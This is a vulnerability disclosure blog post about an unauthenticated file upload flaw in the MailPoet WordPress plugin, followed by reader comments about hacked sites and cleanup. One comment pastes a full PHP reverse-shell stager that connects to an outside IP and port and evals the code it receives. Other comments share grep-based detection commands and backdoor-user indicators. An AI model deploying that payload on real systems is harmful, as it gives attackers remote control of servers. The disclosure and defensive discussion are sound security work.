Remote File Upload Vulnerability in WordPress MailPoet Plugin (wysija-newsletters)

Marc-Alexandre Montpas, from our research team, found a serious security vulnerability in the MailPoet WordPress plugin. This bug allows an attacker to upload any file remotely to the vulnerable website (i.e., no authentication is required).

This is a serious vulnerability, The MailPoet plugin (wysija-newsletters) is a very popular WordPress plugin (over 1,700,000 downloads). This vulnerability has been patched, if you run the WordPress MailPoet plugin please upgrade ASAP!

Are you affected?

If you have this plugin activated on your website, the odds are not in your favor. An attacker can exploit this vulnerability without having any privileges/accounts on the target site. This is a major threat, it means every single website using it is vulnerable.

The only safe version is the 2.6.7, this was just released a few hours ago (2014-Jul-01).

Why is it so dangerous?

This bug should be taken seriously, it gives a potential intruder the power to do anything he wants on his victim’s website. It allows for any PHP file to be uploaded. This can allow an attacker to use your website for phishing lures, sending SPAM, host malware, infect other customers (on a shared server), and so on!!

Technical Details

Our research team discovered this flaw a few weeks ago and immediately disclosed it to the MailPoet team. They responded very well and released a patch as quickly as possible.

Because of the nature of the vulnerability, specifically it’s severity, we will not be disclosing additional technical details. The basics of the vulnerability however is something all plugin developers should be mindful of: the vulnerability resides in the fact that the developers assumed that WordPress’s “admin_init” hooks were only called when an administrator user visited a page inside /wp-admin/.

It is a easy mistake to make and they used that hook (admin_init) to verify if a specific user was allowed to upload files.

However, any call to /wp-admin/admin-post.php also executes this hook without requiring the user to be authenticated. Thus making their theme upload functionality available to everybody.

Pro-tip: If you are a developer, never use admin_init() (or is_admin()) as an authentication method.

How should you protect yourself?

Again, Update the plugin as soon as possible. Keeping WordPress and all plugins updated is the first step to keep your sites secured.

For our customers: The good news is that any website behind our Website Firewall – CloudProxy has been protected against this vulnerability since we found it.

Scan your website for free:
About Daniel Cid

Daniel is the Founder & CTO of Sucuri and also the founder of the open source project - OSSEC HIDS. His interests range from intrusion detection, log analysis (log-based intrusion detection), web-based malware research and secure development.

You can find more about Daniel at his site dcid.me or on Twitter: @danielcid

  • http://www.caseyfriday.com/ Casey Friday

    It’s unfortunate to hear about this from Sucuri, and not yet from Mailpoet. I don’t know if Sucuri contacts plugin authors before they post articles like this, but it feels like Mailpoet is not especially concerned about this, since they simply noted this article in the changelog to today’s update.

    Things like this make me want to move my development away from WordPress and towards something more secure (a.k.a. more obscure).

    • Daniel Cid

      Hi Casey,

      Yes, they were notified weeks in advance and replied pretty quickly to work on a patch.

      • Xavier KRESS

        Unfortunately, those patches should be notified with more evidence on WP

        • http://watwebdev.com/ WatWebDev.com

          The problem I think is multi-layered. Many themes use this plugin and there is no real way of communicating issues of this nature. That is something that I think wordpress should look at including. A method that allows a plugin author to submit a warning, which triggers on their website and emails the webmaster.
          We were not emailed about this issue as it was part of a theme that was purchased from ThemeForrest.

          • Kim

            What theme includes the MailPoet plugin, out of curiosity?

          • http://redfishbluefishmedia.com/ Jon Schroeder

            That’s a horrible practice. Themes should NEVER include plugins like that, for reasons that go well beyond this particular case (in part, because including a plugin’s functionality directly often leads to an inability to update the plugin). I’d be careful about using that theme or any like it in the future.

            But you make a good point about WordPress including this sort of functionality.

          • http://watwebdev.com/ WatWebDev.com

            Sorry for the late reply, Disqus wouldn’t let me reply for some reason.
            I should have been clearer in what I said. When I said that it was part of a theme we purchased, what I meant was that it was a required plugin that the theme installed. Just to be clear: it was a plugin, the code was not included within the theme coding.
            WordPress really need to be ramping up their security and taking action. The WordPress core is pretty secure and the issue is the plugins and themes. No matter what you do, no developer can see potential vulnerabilities in the future. There really needs to be a contingency plan. WordPress has made some progress on this with automated updates for the core. I think something needs to be done for plugins. Not just the example I gave in my last reply but I would suggest a method for WordPress to force plugin updates (initiated by WordPress staff) where the update ONLY includes a security fix. Forcing updates where features change can cause unwanted issues.

            We have lots of security and when wordpress plugins have security issues that we do not catch in time, our security system blocks all attempts to exploit the code, upload files or login.

  • Flag

    Hi, After a proper verification of Mail poet 2.6.6 codes, I concluded there is no Security risks.
    The theme function doesn’t sanitize the files but its not accessible by public.

  • http://iandunn.name Ian Dunn

    > Pro-tip: If you are a developer, never use admin_init() (or is_admin()) as an authentication method.

    It’s worth mentioning that the appropriate authorization check mostly likely would have been `current_user_can( ‘upload_files’ )`.

  • stayready

    Between your article and the commented code changes in the diffs, it was fairly straight forward to recreate this. Good find!

  • Daniel Smith

    Seems like the plugin also exposes the websites full path when visiting /wp-content/plugins/wysija-newsletters/ full path disclosure vulnerability

  • Wsysija plugin user

    Thank you for bringing this to our attention. I have disable this plugin for now. Can you please tell us what and where to look to be able to find if anyone inserted, or uploaded, something not wanted on our server. Is it all contained within their folder or could the person upload into other areas too?

  • Demian Scott

    i tried on a site, after following the payload link , this is what it gave me

    error_reporting(0); # The payload handler overwrites this with the correct LHOST before sending # it to the victim. $ip = ‘10.164.73.233’; $port = 4444; $ipf = AF_INET; if (FALSE !== strpos($ip, “:”)) { # ipv6 requires brackets around the address $ip = “[“. $ip .”]”; $ipf = AF_INET6; } if (($f = ‘stream_socket_client’) && is_callable($f)) { $s = $f(“tcp://{$ip}:{$port}”); $s_type = ‘stream'; } elseif (($f = ‘fsockopen’) && is_callable($f)) { $s = $f($ip, $port); $s_type = ‘stream'; } elseif (($f = ‘socket_create’) && is_callable($f)) { $s = $f($ipf, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = ‘socket'; } else { die(‘no socket funcs’); } if (!$s) { die(‘no socket’); } switch ($s_type) { case ‘stream': $len = fread($s, 4); break; case ‘socket': $len = socket_read($s, 4); break; } if (!$len) { # We failed on the main socket. There’s no way to continue, so # bail die(); } $a = unpack(“Nlen”, $len); $len = $a[‘len’]; $b = ”; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } # Set up the socket for the main stage to use. $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; eval($b); die();

  • spoonjab

    Unfortunately, I found this article post-hack. The havok this plugin caused is immense: encrypted text in EVERY single php file on our site. Rogue entries in the database. Also, 29k emails were found to be sent via PHP mailer. Damaged our sending reputation for a few days and clean up took days. Didn’t know that MailPoet was the vulnerability until my webhost identified it during clean up. Interestingly enough, the Sucuri wordpress plugin did not detect any problems…

    • Vincent

      Same here. My script is cleaning all php files… What did you find in your database ? What should I look to ?

      • spoonjab

        I just saw some PHP code that could post to the database, so I did a complete restoration. I didn’t dig into the database because I’m not well versed enough to know where in the database to spot change(s)

    • Xavier KRESS

      The same for me, base64 encoded code in all of the PHP files on my server, apparently, the code is sended from remote to my site using the admin-post.php and wp-content/uploads/wysija/themes/mailp/index.php.

      I did not find anything on DB, do you ? what should I check ?

      • Vincent

        We should share

        My scans so far :
        grep -r -H “treeroot” .
        grep -r -H “eval(base6″ .
        grep -r -H “x40″ .|grep -v “.xml”|grep -v “.css”|grep -v stock_status_changed_auto|grep -v “.csv”|grep -v “.sql”
        grep -r -H “<?php eval" .
        grep -r -H "eval(" . #complicated if you have a lot of eval in your regular files
        find . -name license.php
        grep -r -H "rting(0)" .
        grep -r -H "@error_" .
        grep -r -H "wp__wp" .
        grep -r -H "<?php \$" .

        Also, to see the new files

        find . -type f -printf '%T@ %pn' | sort -n | tail -1 | cut -f2- -d" "
        (adjust the tail value)

      • Neil

        Same exact issue. Removed the code from all the files and now my website seems good

        • Xavier KRESS

          Don’t forget to change your admin passwords and DB pass to prevent a second attack

          • Neil

            how would they get the admin pass if they are stored in MD5

          • Xavier KRESS

            il passwords are not salted, hackers can try to get pass with md5 reverse sites

    • Neil

      Same here. I fixed it by downloading all the files to my computer as a zip through ssh. Then i used a program like dreamweaver to find and replace the encrypted text. This fixed the issue for a bit and let me log into wordpress. Then i ran a malware scanner and it found two more files a mailpoet one and admin-post.php to also have a custom script at the start.

      How did you fix your php mailer?

  • Matt // Modmacro

    Yep, one of our sites was hacked. That was our first experience using MailPoet. Bad taste in mouth….

  • http://watwebdev.com/ WatWebDev.com

    Firstly, sorry if I seem cocky, but after spending so much time and money to secure our server against vulnerabilities and other attacks, I am pleased to report that our customers are safe. We had one customer who used this plugin and the vulnerability was exploited and a file was uploaded. However, due to our other security measures, they were unable to use the vulnerability to do anything. The upload was checked and never went live. A full scan was completed (which automatically completes each night) to look for base64 and any other suspect items. We downloaded all files and manually checked them ourselves to ensure they were clean. We then notified the effected customer of the issue and informed them that they were fully protected and the exploits all failed. Naturally, we then changed all passwords just to be doubly sure.

    I am very happy to see that the security measures we have taken with our server are not paranoia and actually can protect in the wild with vulnerabilities such as this. We host sites for a number of large clients including Fila, so we really have to know that we are as safe as possibly can be.

    For everyone who has been effected, this is a learning curve and we have all been there. All that can be done is to learn from mistakes and push hard to make your server more secure than it was before.

  • Arky

    Note that the malware’s that took over our machine also inserted a user record with a blank login name and gave it administrator capabilities so they have a back door for future attacks even if you clean up the code.

    Pattern is that the new user has a user ID of “1001001”. You need to go through every database and remove this user and its capability in usermeta. Just one wp instance on a shared server can let them back in to ruin all of them.

  • Anne

    I have been using the updated MailPoet plug-in and yet still ended up with a major security issue this past weekend. Malicioius code was added to all my site files and those of my clients’ sites.

  • Will

    I too have just recovered from this problem. Every single php file on my folder was infected with rogue code, and every database had the 1001001 user. One entry on the user table, four entries on the usermeta table. I hope deleting them is the end of it.

  • An Phan

    To remove the malicious code from all of your PHP files, just run this from a shell:

    `find /root/directory -name “*.php” -exec sed -i ‘s/<?php/<?php/I' {} ; -print`

    Use at your own risk. Full credits go to Vladimir I., from the awesome Webfaction.

  • http://www.strangerstudios.com Jason Coleman

    Yeah, that’s confusing. is_admin() feels like it should check for admin users, but it really checks if you are in the WordPress dashboard, which non-admin users can be. You really want to do a check like current_user_can(“manage_options”) to see if users have permission to do admin-like things on the website.

  • tablatronix

    Correct me if I am wrong but the actual vulnerability here is that this plugin allows the upload of php files…

  • http://pledgedplugins.com Pledged Plugins

    Very good job identifying this vulnerability. We really like the pro-tip about not using admin_unit() and is_admin() as auth methods. Pledged Plugins as posted a follow up to your article on our blog at http://pledgedplugins.com/thousands-wordpress-websites-affected-mailpoet-vulnerability/
    Keep up the good work and we will keep recommending your services.

  • Endless Geek

    Does the http request that exploits this vuln look significantly different from a benign request? Does anyone have a packet capture of a dodgy request as I’m still trying to fingerprint this.

  • Juanma

    Hi, my web is in the google blacklist and I don’t know why. I use the MailPoet plugin but it seems I haven’t been atacked. Now I have disabled it. Do you think that the vulnerability of the plugin could be a reason to be included to the blacklist or it’s due to another reason? I have searched in my code and database a lot but I didn’t find injected code and google doesn’t give me detailed information.